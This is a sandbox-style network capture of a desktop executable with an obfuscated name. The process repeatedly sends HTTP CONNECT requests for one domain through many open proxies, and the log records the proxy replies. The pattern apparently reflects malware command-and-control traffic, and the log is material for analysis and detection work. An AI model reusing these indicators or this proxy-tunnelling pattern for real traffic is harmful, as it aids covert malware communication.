Mar 11, 2024 16:42:23.543349981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.11	53432	121.182.138.71	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.543504000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.849870920 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.11	53384	208.109.13.93	53778	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.543689013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.376326084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.485941887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.485754013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.485694885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.485773087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.486069918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.454082966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.469844103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.11	53444	23.137.248.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.543895006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.11	53455	98.162.25.4	31654	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.543899059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.11	51298	66.228.35.209	46695	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.544444084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.564819098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.642183065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.642678022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.641820908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.782213926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.782187939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:35.782156944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:23.797684908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.11	53400	185.220.226.128	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.552491903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.11	53440	49.13.131.163	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.552664995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.861040115 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.11	53345	103.242.119.88	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.552907944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.960418940 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>
Mar 11, 2024 16:42:24.849184990 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.11	51247	189.240.60.164	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.554418087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.195198059 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.11	53452	47.243.205.1	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.554534912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.11	53473	192.99.169.19	8450	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.555258989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:56.746334076 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.11	52620	93.157.248.108	88	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.555644035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.11	53492	104.16.105.15	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.555951118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.710339069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.11	51335	45.234.60.3	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.558361053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.409606934 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.11	53428	79.110.119.209	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.558959007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.376326084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.486116886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673429966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.985601902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.376358032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688829899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.282187939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:06.469733953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.11	53438	185.101.16.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.559279919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.11	53437	103.200.135.229	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.560038090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.11	53522	104.27.122.6	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.565092087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
